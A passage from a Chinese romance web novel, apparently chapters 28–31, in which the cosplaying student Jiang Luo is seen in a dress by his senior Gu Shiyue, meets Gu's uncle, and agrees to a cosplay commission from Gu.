他仰着头灌了一大口水,喉结很明显地上下滑动,额头的汗顺着鬓角滑下来,流到颈间,最后又顺着喉结往下滑落,洇湿了衣服领口。 顾时越喝完水才注意到玄关有个人影,他侧过头去,朝门口扫了一眼。 江洛呆呆地站在门口,大脑已经宕机了。 这其实已经不是顾时越第一次在江洛还没走的时候就回来,他是有心的,但江洛肯定不知道,所以每次他都毫无防备。 棉团“喵喵”叫着,看见顾时越就往前跑去,江洛手里的牵引绳被它拽得一松,落在了地上。 顾时越拧上瓶盖,望着江洛这边。 他自然一眼就认出了江洛。 玄关站着的那个人跟江洛本人完全是两模两样,顾时越脸上却没露出一丝诧异的神情。 江洛穿着一条浅蓝色、有点蓬的花边裙子,顶着一头长而卷的浅棕色假发,假发上还戴着蝴蝶结样式的发饰。他五官精致,眉眼线条偏柔,骨架小,身材清瘦,这样的装扮完全看不出来是个男生。 江洛能大大方方穿女装,不代表他能在顾时越面前大大方方地穿女装。 在回过神的一瞬间,江洛的耳朵直接红透了。他来不及思考,身体先于大脑作出反应,迅速转身握住了门把手。 他第一反应是赶紧走,结果刚拧下门把就听到顾时越不紧不慢地说了一句:“跑什么。” 江洛动作一顿,人僵在那儿。 在这之前,他甚至还产生了片刻的侥幸心理,指望顾时越没认出他来。现在想想这怎么可能,顾时越就算一眼没认出他,猜也能猜到。 江洛杵在那儿不动,没转身,手还搭在门把上,他的脸其实也已经红透了,只是被妆盖着看不出来。 江洛在任何人面前穿女装都不会觉得羞耻,这一刻他才意识到顾时越是个例外。 他没想到顾时越会那么早回来,更没想到当面撞见他,自己会不好意思成这样。慌不择路,第一反应竟然是逃跑。 他不是怕顾时越会用异样眼光看待他,他知道顾时越不是那样的人,他就是单纯地觉得难为情。 江洛背身低着头,不动,也不说话,看架势还是想走。 顾时越说:“转过来。” 江洛慢吞吞地转过身,垂着眼眸,不敢跟他对视。 “到我这边来。”顾时越又说。 江洛像个听从指令的小机器人,顾时越说一句他就动一下,倒也听话。他现在就是个人机的状态,走路步伐很僵硬,浑身不自在,脸也很烫。 他在离顾时越几步之遥的地方停住,他的脖子被假发挡住了半截,没被挡住的那一片很明显泛着红,这个距离顾时越足以看得清楚。 江洛眼神乱晃,就是不敢看顾时越的眼睛,他一直没出声,顾时越问了句:“不会说话了?” 江洛嘴唇动了动:“学……学长。” 顾时越没问他为什么会穿成这样,只问了句:“吃饭没有?” 江洛点了点头:“……嗯。” “等会儿有事吗?”顾时越问他。 江洛迟疑了一下:“……没。” “那去客厅坐会儿。”顾时越朝客厅看了一眼,“茶几上有蛋糕。” 顾时越说着往浴室方向走去。 江洛叫住他:“学长,我……” 顾时越头也不回道:“我去洗澡,出来要看见你。” 茶几上放着一块巧克力慕斯,看着就很诱人,江洛是甜品控,他晚饭吃了八分饱,这会儿看见茶几上的慕斯蛋糕,饱度瞬间降到了六分。 事已至此,就先炫蛋糕吧。 顾时越今天洗澡很快,他从浴室出来的时候江洛刚把蛋糕吃完。 江洛今天不在状态,看见顾时越人就立马紧绷起来,换平时他肯定会提醒顾时越先把头发吹干,今天却忘了。 顾时越穿着一身灰色的居家服,头发擦得半湿不干,走到客厅来。 他在沙发上坐了下来,江洛坐在他旁边,两个人隔着不远不近的距离。 顾时越拿起茶几上的手机看了一眼,点开微信回了几个消息,他不说话,江洛也不知道说什么,氛围莫名尴尬。 尤其是江洛还穿成这样。 虽然顾时越什么都没问,面对他穿女装反应也特别平淡,江洛还是觉得自己应该解释一下:“学长我……今天去漫展了。” 他想说今天是因为去漫展才穿成这样,但没把话说完。 “知道。”顾时越看过江洛和程嘉树的那次直播,当然也记得江洛游戏比输了要穿女装的赌约。 “和程嘉树一起去的?”顾时越从手机屏幕上收回视线,转过头问他。 江洛点点头:“还有……影总,和一些圈子里的朋友。” 顾时越“嗯”了声,目光落在他头上的蝴蝶结发饰上,问了句:“喜欢穿成这样?” 江洛一愣,立马道:“我是因为跟大树打游戏输了才这么穿的……我们俩打了个赌。” 顾时越不主动提女装的事还好,一提江洛脸又热了,热意四散,蔓延至颈间,脖子又迅速泛红了。他的反应太明显了,只要不瞎都能看出来他在难为情。 “在他面前也这么不好意思?”顾时越问了一句。 江洛愣了几秒才反应过来顾时越说的这个“他”是程嘉树,顾时越看出他不好意思了,还直接戳破他了,江洛羞得差点原地自燃。 他这样害臊挺少见,顾时越拎着手里的手机转了转,无声地看着他,等他回答。 江洛垂在身侧的手揪住了裙边,垂着眼说:“我……没有,我只是在你面前……不好意思。” 后面几个字几乎是压在喉咙里的,跟气音差不多,但顾时越还是听完整了。 江洛害臊,但不妨碍他坦诚。 他在想,如果时间再往前推推,在他刚认识顾时越的时候被顾时越撞见自己穿女装,他绝对不会像现在这样手足无措。 江洛刚吃完蛋糕,嘴角残留着一点巧克力,顾时越盯着他的嘴唇,久久不语。 顾时越一直没说话,江洛抬起眼来,撞上他的目光。 顾时越指了指嘴角,像上次那样提醒他,但这次江洛反应没那么快,他心绪纷乱,没明白他的意思。 顾时越没说什么,直接抽了张纸,拿着纸巾手伸到江洛嘴边。 顾时越的指尖隔着薄薄的纸巾触碰到江洛的嘴唇,江洛呼吸一滞,心跳骤然加速。 他帮江洛擦了擦嘴角,看着他的眼睛问了句:“为什么不好意思。” 江洛心跳得厉害,一句话也说不出来。 顾时越把纸巾扔进了一旁垃圾桶,话说一半,“嘀”的一声,大门忽然被人从外面打开了。 门被关上,脚步声渐近,客厅里走进来一个身材颀长、相貌英俊的男人。顾时越和江洛还坐在沙发上,看见他俩,男人脚步不由得一顿。 江洛人都傻了,对方先是看了顾时越一眼,然后目光落在他身上。 没人说话,屋里一片寂静。 “舅舅。”顾时越忽然叫了对方一声,打破了沉默。 江洛倏地转过头,诧异地看向他。 第29章 进来的是梁思恒, 顾时越的亲舅舅,顾时越现在住的这套房子就是他舅舅的,他自然能随意进出, 只不过这都建立在家里只有顾时越的情况下。 这套房是梁思恒买的, 但是在顾时越名下的,说白了这房子就是给顾时越住的,只是顾时越一直没谈过恋爱,也从没往家里带过女生, 所以梁思恒之前进出这里也不会避讳什么,来的话就直接进来了。 他哪承想今天过来, 这家里除了顾时越还会有另一个人。 梁思恒没看出来江洛是男生, 他打量了江洛一眼, 心道他外甥的眼光果然高。 以顾时越的性子,他绝对不可能会主动带女生来家里, 所以梁思恒直接默认江洛不是普通朋友。 梁思恒看看顾时越, 又看看江洛——瞧瞧他这平时生人勿近的大外甥, 竟然当着外人的面穿着居家服,要说这是外人,梁思恒是不信的。 俩小辈还没说话,他先问了顾时越一句:“谈朋友了?” 江洛愣了两秒才反应过来, 他僵在那儿一动不动, 尴尬得说不出话。 顾时越说:“暂时还没有。” 这话像是一语双关, 梁思恒似乎也听出了点别样的意味, 他不由得挑了下眉,看了江洛一眼。 “什么时候回来的?”顾时越问梁思恒。 “昨天就回了。” “怎么不告诉我。” “忙得很,没空通知。” 顾时越跟江洛介绍了一下:“我舅舅,梁思恒。” 江洛想打招呼又不知道该怎么开口, 显然顾时越舅舅没看出来他是男生,他要是突然开口说话岂不是更尴尬。 “江洛。”顾时越又跟他舅舅介绍。 江洛做足了心理建设,还是觉得应该开口打声招呼,这毕竟是顾时越的舅舅,他张了张嘴,还没说话,梁思恒就冲他点了点头,笑着说:“我今天来得不是时候。” 不能不解释了,这话的意思很明显了,顾时越舅舅显然误会了他们俩的关系,江洛自己无所谓,他不想因为这种误会给顾时越造成什么麻烦。 他迅速站了起来,对梁思恒说:“您误会了,我和顾时越学长就是普通朋友,我是他学弟。” 清透的少年音听得梁思恒直接一愣:“你……” 江洛坦然地接话:“我是男生。” 梁思恒眉毛一挑,眼底闪过一丝诧异。 “叔叔您好。”江洛礼貌地打了声招呼。 其实这声“叔叔”江洛叫得挺别扭的,因为顾时越的舅舅长得太年轻了,看起来只有三十出头的样子。 梁思恒阅历丰富,又年轻,什么没见识过,他也就惊讶了片刻,很快就淡定下来了。而且他会惊讶只是因为他一开始没看出来江洛是男生,而不是因为江洛穿女装这件事本身。 江洛这声“叔叔”听得梁思恒也不是很乐意,他笑了一声:“我有这么老?你叫我叔叔。” 江洛“呃”了一声,有点语塞。顾时越叫舅舅,他总不能叫哥吧,这辈分不就乱了。 “那我该……怎么叫您?”江洛小声问。 梁思恒随口道:“叫我梁总,或者你也可以跟着顾时越叫我舅舅。” 梁思恒心思敏锐,说话做事也不喜欢拐弯抹角,有时候甚至有些随心所欲,比如现在,他的话越说越不着调了。 江洛差点不知道该怎么接,不过只要不是面对顾时越他都还有应对的余力,他一本正经地改了口:“梁总您好。” 梁思恒被他逗笑了:“你还挺逗。” 江洛今天的心情就像坐过山车,他不能再在这待下去了,他转头对顾时越说:“学长,我还有事……就先走了,不打扰你们了。” 顾时越也不打算继续让江洛待在这,他不太愿意让他舅舅看到穿成这样的江洛,不说他舅舅,其他任何人他都不愿意。 “我送你。”顾时越说。 “不用不用,我坐地铁就好了。” “说了我送你。” “……好。” “等我换件衣服。” 顾时越不想江洛穿成这样跟他舅舅待在一个屋里,他直接跟梁思恒说:“舅舅,你去房间休息。” “还没洗澡我休息什——”梁思恒很快就反应过来了,嗤笑道,“你小子,还命令上我了。” “不是命令,是提议。” “那我要是驳回这个提议呢?” “驳回无效。” 梁思恒短促地笑了一声,他外甥什么性子他最清楚,又傲又犟,论强势连他那个爹都比不过。他又向来惯着他,从小到大说什么,要什么,没有不听的,也没有不给的。 “你怎么不提议我直接走呢。”梁思恒从口袋里摸出烟盒,抽出一支烟咬进嘴里。 “不合适。” “还有你觉得不合适的事呢。”梁思恒咬着烟哼笑一声,转身往书房走去,他一身西装,西装外面还套着一件呢大衣,他把大衣脱下来搭在手臂上,背对着他们说:“开车慢点。” 梁思恒没回卧室,转而进了书房。 顾时越回房间换了身外穿的衣服,出来的时候手里拿了件外套,江洛的裙子是短袖,现在昼夜温差大,夜里温度很低。他让江洛把外套穿上,然后两个人一起去了地下停车场。 江洛今天不回学校,他直接去程嘉树那儿。 “去他那干什么。”顾时越问。 “我是在他那儿换的装,我得换了衣服再回宿舍。” 顾时越家离程嘉树住的地方不远,开车几分钟就到了,两人一路无话。 别说说话了,跟顾时越独处,江洛连正常呼吸都有点困难。 车在小区门口停了下来,江洛穿的裙子裙边比较蓬,他摸了半天没摸到安全带卡扣,顾时越转头看了一眼,手伸过去按了一下车座旁边的卡扣,江洛一通乱摸,不小心碰到了顾时越的手指,他跟触电了似的,猛地把手缩了回去。 “我手上有刺?”顾时越问了一句。 江洛飞快地摇头,他想赶紧下车,手刚拉住门把就听到“啪”的一声轻响,车门被锁了。 江洛转头看了顾时越一眼。 “说完话再走。”顾时越说。 江洛小声问:“什、什么话?” “你说你是跟人打赌输了才穿成这样。” 江洛用力地点点头:“是的。” “既然不是你自己喜欢,那以后最好都不要再穿成这样,”顾时越顿了一下,强调道,“在别人面前。” 江洛愣了一会儿,没出声。 顾时越转头看了他一眼:“怎么不说话。” 江洛恍然回神,想都没想就点头答应了:“好。” 顾时越解了车锁,江洛开门下了车,他手搭着门把在车外站了一会儿,看着顾时越。 “学长。”江洛屏住呼吸,声音很轻地问了一句,“那……是不是在你面前就可以。” 江洛问完自己先愣住了,他不确定顾时越有没有听到,回过神来迅速关上了车门,直接转头跑了,身上还穿着顾时越的外套。 江洛知道程嘉树出租屋的门锁密码,他直接开门进屋,关上门后转身往门板上一靠,心还砰砰直跳。 他捂住了心口,无法控制心跳加速。 “你喂个猫喂哪儿去了,喂这么久,”程嘉树走了过来,手里捧着一盘蜜瓜,“我还以为你不回我这来了。” 江洛穿着一件宽大的外套,显然不是他自己的衣服。 “你穿的谁的衣服?越哥的?” 江洛才发现自己还穿着顾时越的外套,他低头看了一眼,没接话。 “怎么了你,傻了啊,怎么不说话。”程嘉树走过来,往他嘴里塞了片蜜瓜。 江洛食不知味地嚼着:“嗯……是他的。” “他不是不在家吗。” “回来得比较早。” 程嘉树后知后觉地反应过来:“我靠,那他不是撞见你了?” “……嗯,撞见了。”江洛换鞋进屋。 “他看见你啥反应啊?是不是惊呆了?” “没什么……反应。”江洛往卫生间走去。 程嘉树跟在他后面:“真的假的?他看见你没被美一跳?” 江洛转头看了他一眼,表情有点无语。 程嘉树乐了:“你赶紧跟我说实话吧,我太好奇了。” “真没什么反应,他可淡定了。” “啧啧,不愧是他。” 江洛在卫生间摘了假发,卸了妆,换了衣服,收拾完已经十点多了,他还没洗澡,拎着衣服和假发出来的时候,程嘉树躺在沙发上说:“你还回学校啊,直接睡我这得了,都这么晚了,明天又没课。” 江洛想了想:“也行。” 反正他也不是第一次睡程嘉树这了,程嘉树租的是套房,虽然面积不大,但是两室一厅,有个次卧,江洛有时候陪他打游戏打得太晚就会住在这儿。 顾时越到家的时候,梁思恒已经洗好澡穿上了睡袍,他叼着根烟在厨房翻冰箱,没发现有什么可以直接吃的食物。 棉团趴在餐厅的椅子上,餐桌上放着一瓶红酒,一只酒杯。梁思恒两指夹着烟,拿起红酒瓶往杯子里倒了点,吩咐顾时越:“给我弄点吃的,饿死了。” “洗完澡还抽烟。”顾时越从他手里抽走了香烟,打开水龙头把烟头浇灭扔进了垃圾桶,“没吃晚饭?” “光喝酒了,没吃几个菜。”梁思恒端起酒杯晃了晃,“给我煎块牛排。” 顾时越打开冰箱拿了块牛排,梁思恒喝了口酒,眯着眼睛看了看趴在椅子上的棉团:“这猫是不是又胖了。” 棉团“喵”了一声,尾巴用力地一甩。 “膘肥体胖,精神矍铄,小老头越活越年轻了。”梁思恒说。 棉团按猫咪的岁数来看,确实是个小老头了,它是顾时越妈妈的猫,活到现在已经有十几岁了,顾时越把它照顾得很好。 顾时越在处理食材,梁思恒端着酒杯走到他旁边:“是不是该跟我交代一下今天是怎么个情况。” “你还有闲心管这个。” “主要是你今天带给我的惊喜有点超乎我的想象。”梁思恒抿了口酒,停顿片刻,问道:“怎么说,是你好这一口,还是对方好这一口?” 顾时越转头看他一眼。梁思恒这个岁数了,什么没见过,他问的就不是什么正经话。 梁思恒绷不住笑了,他当然知道情况不是他想的那样,那小孩一看就跟他外甥没怎么样,整个一纯情乖巧男大。 “长得挺好,男孩样儿也挺漂亮的吧。”梁思恒说。 顾时越淡淡道:“更漂亮。” 梁思恒不能想象这居然是他外甥能说出来的话,他嗤笑一声:“比你可爱多了,乖乖巧巧的。” 顾时越“嗯”了一声:“是。” 梁思恒忽然想起了什么,拿起料理台上的芦笋在顾时越头上敲了一下:“我还没说你,你小子连我的醋都吃。”- 作者有话说: 明天是晚上12点更哦,有时候更新时间会变是因为要赶榜单字数,正常更新时间是晚十点,在存稿没有耗尽的情况下=w= 最近降温啦,大家注意保暖。 第30章 梁思恒那么聪明, 他当然知道顾时越刚才为什么会突然让他回房间。 “没吃你的醋。”顾时越抽走梁思恒手里的芦笋,打开水龙头洗了洗。 梁思恒点点头,他什么不懂:“是, 你这不叫吃醋, 叫占有欲作怪,还作怪到我头上了。怎么,知道你舅舅喜欢男的,防着我呢。” 顾时越转头看他一眼, 淡淡道:“再说这种话你可以走了。” 顾时越只是不喜欢江洛穿成这样出现在别人面前,跟吃不吃醋没关系, 跟梁思恒喜不喜欢男人也没关系, 他不否认那就是所谓的占有欲在作怪, 连他舅舅也不能除外。 梁思恒失笑:“还给我下逐客令了,你跟我说话有没有点外甥的样子。” “你跟我说话也没有舅舅的样子。”顾时越说, “谁也不用说谁。” 梁思恒说不过他, 不过确实是他说话没数, 欠不愣登的,非说那不好听的。 梁思恒晃晃酒杯,点头道:“行行行,是我说错话了。” 顾时越抽了张厨房纸巾, 把洗干净的芦笋擦干, 装进餐盘备用。牛排是新鲜的, 刚放进冰箱没多久, 不需要解冻,顾时越拿厨房纸按在牛排上,把血水吸干净。 梁思恒端着酒杯抿了口酒,嗤笑道:“这方面, 你不是遗传我吧。” 梁思恒喜欢男人,从他青春期性启蒙时期他就知道了,他一直以来谈的也都是男人。以前顾忌顾时越年纪小,梁思恒对这方面比较注意,有什么喜欢的人了收在身边,从来都避着他,后来还是顾时越自己发现的。那时候顾时越才初中,梁思恒怕把孩子带歪了,一向我行我素的他还特意找顾时越谈了话。他外甥当然不是一般小孩,反应相当平淡,根本不需要做思想工作。 顾时越知道梁思恒指的是哪方面,他往牛排上抹了点橄榄油,说:“不是。” 梁思恒看着他挑了挑眉。 梁思恒的性向是天生的,但顾时越可以确定自己对男人不感兴趣,他的一切心理上的悸动、别样的情感体验,都是江洛带来的。 只因为那是江洛,无关性别。 江洛洗完澡和程嘉树一起躺在沙发上看动漫,全球审美下降,现在的动漫也没以前的好看了,只能反反复复地看老番。 江洛心不在焉,心思不在动漫上,电视屏幕上的画面过眼不过脑,半集过去不知道看了个什么,程嘉树跟他说话也没听到,抱着枕头靠在那儿出神。 程嘉树拿手背拍拍他的脸:“我说你今天是怎么了,被夺舍了?” 江洛回过神:“什么?” “中邪了你?” “我……太困了。”江洛把抱枕丢一边,“你看吧,我先去睡觉了。” 江洛上床后闭着眼睛在床上躺了半小时,毫无睡意。一闭眼脑子里就闪过顾时越的脸,和今天在顾时越家撞见他的画面。 他回想起顾时越挂着汗水的脖子,也回想起顾时越喝水时上下滑动的喉结。 当然,还有顾时越被薄薄的衣服布料勾勒出的腹肌线条。 江洛拿被子蒙住了脸,脸上热意更甚。 那些画面在他脑海里挥之不去,他的心跳也越来越快。 江洛掀开被子深呼了口气,他看着天花板发了会儿呆,而后拿起了旁边的手机。 有句话叫病急乱投医,江洛现在就是这个状态。 他傻乎乎地打开百度,在搜索栏输入“男生喜欢男生”。 网页刚刷新出来江洛就退出了软件,把手机往床头一扔,心里乱乱的,脑子也乱乱的,完全不知道自己到底要干什么。 江洛在床上翻来翻去,没过一会儿又把手机摸了过来,他把脑袋蒙在被子里,都没注意到敲门声。 程嘉树直接开门走进来,看到床头亮着微光,就知道江洛还没睡。 “敲你门也没个声儿。”程嘉树啧了一声。 突然响起的说话声把江洛吓了一跳,差点把手机甩出去,他从被子里探出脑袋:“你吓我一跳。” “我敲门了,你还能听见个啥。” 程嘉树手上拎着个枕头,他把枕头往床上一扔。这屋里的枕头前两天被程嘉树拿去他房间了,床上就一床被子,江洛在床上躺了这么久也没发现自己脑袋下面空空如也。 程嘉树抱臂站在床边,眯了眯眼睛:“你今天相当不对劲。” 江洛把枕头塞到脑袋底下,翻了个身把被子蒙上,闷声道:“累的。” “真没出什么事?” “没有。” 程嘉树皱了下眉:“不会是你叔叔婶婶又发什么癫了吧?” 程嘉树扯得太远了,江洛被他逗笑了:“没有,我真没怎么,你别多想了。” 程嘉树直男脑,粗神经,再想也想不到感情方面去,他也不是那种爱刨根问底的人,江洛不想说就随他,爱咋咋,只要不是受了什么委屈和欺负就行。 “多余问你。”程嘉树瞪他一眼,“睡你的吧。” 江洛点点头:“好的。晚安我的朋友。” 程嘉树笑着“嗤”了一声,关上门出去了。 这天晚上江洛很晚才睡着,做了好多乱七八糟的梦,每个梦里都有那个熟悉的身影。 江洛定了个闹钟,早上七点半就醒了,他今天要去咖啡店上班。 坐地铁去咖啡店的路上,江洛给顾时越发了条消息:学长,你的外套还在我这,昨天忘记还给你了。下次见面的时候我带给你? 江洛捧着手机,盯着屏幕,莫名紧张。不过他等了几分钟,并没有收到顾时越的消息。 快到站的时候,手机“嗡”的震了一下,江洛抬起屏幕一看—— 顾时越:下次是什么时候。 江洛:我……不知道。 江洛:听学长的。 短短四个字,江洛删删改改,编辑了两分钟才发出去。 顾时越这两天都有事,晚上都不会太早回来,他回江洛:周三中午一起吃饭。 江洛周三下午没课,顾时越知道,但他不知道这周三江洛接了委托。这又是江洛之前欠的债,是他最后一个委托,接完就没有了,也不会再接了。 江洛接委托,时间一般都定在周末,这次的单主原定时间也是周末,她被父母安排今年出国,之前定好的出国时间提前了,下周六就要飞国外,之后还不知道什么时候能回来,不得已只能把委托时间提前,江洛又只有周三下午有空,所以就约在了这天。 江洛回复顾时越:我周三下午有点事[苦涩] 顾时越:什么事 江洛不傻,他感觉得出来顾时越对他接委托这事有看法,上次接委托出了点小状况,顾时越的态度很明显,只是他没明说。 江洛怕他不高兴,但也不敢撒谎,老老实实地回答:我……有个cos委托。 过了两分钟顾时越才回消息,他的反应很平淡:知道了。 之后顾时越没再回什么,话题被他这一句“知道了”中断了,江洛想继续聊都不知道该说什么。 到岗之后江洛整个人蔫蔫儿的,工作是麻利的,但情绪明显不高。 “洛洛,你咋了啊?”旁边的同事关心地问了一句。 “嗯?”江洛回了下神,“什么?” “我说你咋了,怎么蔫蔫儿的,心情不好啊?” “没有。”江洛扯着嘴角笑了一下,“起早了,有点没睡醒。” 江洛把打发好的奶泡慢慢倒进咖啡杯里。 有客人点单,前台员工扬起笑容:“您好。” “一杯意式。” 听到熟悉的声音,江洛猛地抬起头。 顾时越站在收银台前,目光随意地扫过来,落在他身上。 两人四目相视,前台员工又问了一句:“您是打包带走,还是直接在店内饮用?” 顾时越看着江洛,说:“店内饮用。” “好的,请您就坐稍等片刻。” 这家咖啡店有个后院,院子里也有桌位,顾时越没坐店里。靠近后门的角落立着书架,书架上摆满了书,供客人免费借阅,顾时越从架子上挑了本书,拿着书走去了后院。 顾时越点的那杯浓缩意式是江洛做的,当然,这是他自己主动揽的单。 江洛端着咖啡托盘走进了后院,顾时越坐在角落的位置,一个人安静地看着书,身后是一片花墙。 “您好,这是您的咖啡。”江洛把咖啡杯轻轻放在桌上。 顾时越抬起眼来,对上他的目光。 江洛穿着浅棕色的围裙,衣袖捋到手肘处,双手拎着托盘挡在身前,他刚用热水洗过手,手指关节处透着淡淡的红色。 “您有需要可以叫我。”室外有点冷,后院没别的客人在,两个人就算闲聊也没人看见。但江洛又不知道该说什么,送完咖啡只好转身离开。 “等一会儿。”顾时越叫住他。 江洛立刻转过身,工作时间,还是打工人的口吻:“您有什么需要吗?” 顾时越合上书推到一边,端起桌上的咖啡杯轻轻晃了晃,垂着眼说:“我需要耽误你两分钟私人时间。” 江洛人都不蔫儿了,点点头:“好的,没问题。” 顾时越垂眼看着杯子里的咖啡,并未说话。 江洛眨了眨眼睛:“学长,你是……找我有事吗?” “是有事。”顾时越把咖啡杯放下,抬眼看向他,“我要约你的委托。” 江洛一愣。 江洛愣在原地,半晌没说话,人都懵了。 “怎么不说话。”顾时越看着他。 “我……”江洛张了张嘴,以为自己听错了,“学长你……要约委托?” “嗯。” “你怎么……突然……要约委托啊?”江洛小声问。 “你只需要回答我接不接。” 江洛哪还有余力思考,他CPU都快烧干了,本来已经不接委托,面对顾时越又双标了起来。 他点了点头,小声道:“接。” 顾时越“嗯”了声,端起杯子抿了口咖啡,说:“回去工作吧。”《 》 30-40 第31章 江洛有些恍惚地回到工作岗位。 他不知道顾时越为什么会突然要约委托, 他脑子太乱了,答案似乎就在心底,却理不清思绪。 刚才完全是被顾时越牵着鼻子走, 脑子一热就答应了, 回过神来有点后悔,不为别的,只是单纯地不想让顾时越花这个钱。 毕竟委托费不便宜。 算了,反正已经答应了, 到时候不收顾时越的钱就好了。 江洛回到前台没多久,店里就又来了个熟人, 是项勤, 他点完单才看到在旁边做咖啡的江洛。 江洛一开始没注意到他, 项勤走过来拿咖啡两人才照了个面。 项勤跟他打了声招呼。 江洛愣了愣,一时间没反应过来。 项勤看着江洛, 莫名笑了一声:“我说呢。” 江洛在这家咖啡店是兼职, 项勤常来这里都不怎么能碰见他, 顾时越难得来一次就赶上人家在岗。 项勤转头扫了一圈,没看到顾时越的身影。 “学长你……是来找顾时越学长的?”江洛低声问了一句。 项勤回过头:“是啊。” 项勤和顾时越今天有事要出去,顾时越说在这里等他,项勤也正好来这边点杯咖啡。 “你见着他了?”项勤笑了笑, “他人呢?” “他在外面的院子里。” “这么有闲情雅致。” 顾时越正在看书, 闻声抬了下眼皮。 项勤倚门站着, 手里端了杯咖啡, 他没那情调坐店里喝咖啡,他的咖啡是直接打包好的。他笑着问了句:“坐外面你不冷啊。” “外面清净。” 项勤笑了笑:“我说怎么突然约在这呢。” 项勤是这家咖啡店的常客,但顾时越却很少来,顾时越能约他在这碰头还能是因为什么。 顾时越没说什么, 合上书站了起来。 没一会儿江洛就看到顾时越和项勤一起从后院走了进来,顾时越把书放回了书架,项勤冲他扬了扬眉毛:“走了学弟。” 江洛点点头,顾时越没说话,只是看了他一眼。 江洛跟他对视了一眼,目送他们离开了咖啡店。 江洛忙了一天,下班后回学校食堂吃了晚饭,吃过晚饭没回宿舍,而是直接去了校队实验室。他们学校的算法竞赛队12月份要参加ccpc区域赛,这段时间集中加训,江洛平时上完课只要有时间就会去实验室刷题。 江洛刷完题从计科院大楼出来的时候已经十点多了,他看了眼手机,打开微信看到顾时越的头像,不免又想到白天的事,想起顾时越的“委托”。 顾时越只说自己要约委托,没说什么时候,也没说要约什么,江洛突然有点怀疑他会不会只是随口一提,并没把这事放在心上。 他自己胡思乱想了一天,也只有做算法题的时候暂时把某人从脑子里摘了出去,这会儿工夫又全被占满了。 提出要约委托的是顾时越,隐隐期待又有点沉不住气的却是江洛自己。 江洛点开顾时越的头像,在对话框里打了半天的字,最后又全都删掉了,然后发了个卡通小狗的表情包过去。 顾时越在跑步,手机卡在跑步机的支架上,屏幕亮了一下,弹出了江洛的消息。 顾时越点开江洛的消息看了一眼——一张卡通小狗表情包,睁着水汪汪的大眼睛,没有配字,单纯卖萌,意义不明。 顾时越不方便打字,直接回了通电话过去。 江洛盯着手机屏幕,没等到顾时越的消息,却等到了他的电话。 江洛手一抖,手机差点掉了。他接通了电话:“……喂?” “怎么了?”顾时越在电话那头问。 “我……”江洛放轻了声音,“你还没睡么?” “没有。”顾时越在跑步,声音里带着不太明显的喘气声。 “你在跑步吗?” “嗯。” 江洛不由得回想起那天在顾时越家撞见他的情景,脑海里也浮现出顾时越刚跑完步一身汗的样子,耳朵渐渐地红了。 江洛很轻地咳嗽了一声,把外套拉链拉到了最上面,顶着鼻尖,嘴巴挡在衣领后面,声音闷闷的:“那我……我不打扰你跑步了。” “没打扰我。” 江洛眨了下眼睛。 “发个小狗是什么意思?”顾时越问。 “没……没什么意思。”江洛低着头,脸也红了,“就……发给你看看。” “嗯。然后呢?” “……没有然后了。” “确定没有?” 江洛犹豫了会儿,眼睛一闭,说:“有。” 顾时越“嗯”了声,等他说。 “学长,你……还记不记得白天的事?” 顾时越明知故问:“哪件事?” “就……你说你要约委托。我想再跟你确认一下。” 顾时越回他:“确认。” “那……委托你想定在什么时候?” “你什么时候有空就定在什么时候。” “那下个周末?这周我要回去看我弟弟,没有时间。” “嗯。” “你想约哪个角色啊学长?” “随你。” 江洛揉了揉鼻子,轻笑道:“这么草率……那你有什么爱看的动漫吗?” “没有。” “那有没有看过的呢?” 顾时越不怎么看动漫,他说了几部小时候看过的还算有点印象的动漫。 江洛从他说的几部动漫里挑了个角色:“那我cos夏目可以吗?” “可以。” 委托的时间和角色就这么敲定了。 这周五戚雪影来江洛他们学校附近参观画展,难得来这边一趟,就约了江洛和程嘉树一起吃饭。她还叫了顾时越,给顾时越发了微信,顾时越回了俩字:不来。 三个人已经在去餐厅的路上了,戚雪影坐在出租车上,江洛就在她旁边。 戚雪影低着头回顾时越消息:你是没空来还是不想来啊。 戚雪影:你学弟也会来哟。 顾时越没回消息,戚雪影转头看了江洛一眼,按住录音键说:“叫不来你学长。” 江洛眨了眨眼睛,小声道:“他不来啊?” “是啊。”戚雪影笑了笑,手指还摁在录音键上,江洛也没发现。 “是有事吗?”江洛期待落空,其实有点小失落。 “不知道,没说呢。”戚雪影说着松开了录音键。 没过一会儿,顾时越的消息发了过来:定位。 戚雪影:[位置分享] 戚雪影:还是学弟说话好使呢。 戚雪影选了家私厨餐厅,法式田园风的装修风格,很有格调,餐厅外面有个小花园,穿过花园,服务员领着他们进了包间。 包间不大,但装修得很有氛围。 “又跟着影总吃漂亮饭了。”程嘉树拉开椅子坐下,往窗外的花园里看了一眼,“太高雅了。” “这家好吃。”戚雪影拿湿巾擦了擦手,“难得跟你们聚一聚,不得请你们吃顿高雅的。” 程嘉树煞有介事地点点头:“我们平时吃得是够糙的,对自己太差了,今天沾影总的光,当回高雅人士。” 戚雪影笑道:“你可算了少爷,谁能有你宝贝自己。” 程嘉树拿起桌上的菜单看了起来:“人活着就得宝贝自己,得多心疼心疼自己。” “说得是。” 江洛一直没说话,坐在旁边心不在焉地看着餐桌上的花瓶,程嘉树把菜单递给他他也没反应。 “洛洛?”戚雪影叫了他一声。 “嗯?”江洛回过神。 “点菜。”戚雪影垂眼看看桌上的菜单。 江洛把菜单推到她面前:“你点吧。” 戚雪影又把菜单递了回去:“我也不知道你爱吃什么,你们想吃什么自己点,不许把点菜这事推我头上。” 江洛笑了笑,接过了菜单:“好吧。” 江洛低头看着菜单,包厢门被服务员从外面打开,有人被服务员领了进来。 “越哥?”程嘉树有点惊讶地看着门口。 江洛倏地抬起头,顾时越朝他看了过来,两人四目相对。 “来得还挺快。”戚雪影笑了笑。 戚雪影没说顾时越会过来,程嘉树说:“越哥,影总不是说你不来么。” 顾时越看向他:“这你问她。” 戚雪影撑着下巴淡淡一笑:“怎么又问我了,你一开始确实说了不来啊。” 江洛旁边的位置空着,顾时越走过去坐了下来,江洛叫了声“学长”,把菜单递给他。 “你点。”顾时越脱下大衣挂在旁边的衣架上。 程嘉树伸出手来:“这菜单烫手是吧,来来来给我,你们不点我来点。” 江洛不给他:“我还没点呢。” 程嘉树气笑了:“服了你了,点半天你点了个啥,磨磨唧唧的。” “这不点着呢吗。”江洛心情转变得很明显,刚才连话都没有,这会儿明显活跃了。 这家餐厅上菜很快,不止是摆盘漂亮,味道也确实很不错,席间戚雪影忽然问江洛:“对了洛洛,你的委托是不是都接完了?” 戚雪影之前约过江洛一次委托,那次因为有事没去成,她一直想重新约一次,只是江洛排期太满,要约他也只能很久之后,这件事就被搁置了。之前戚雪影听江洛说过,大概十一月底他的委托就接完了。 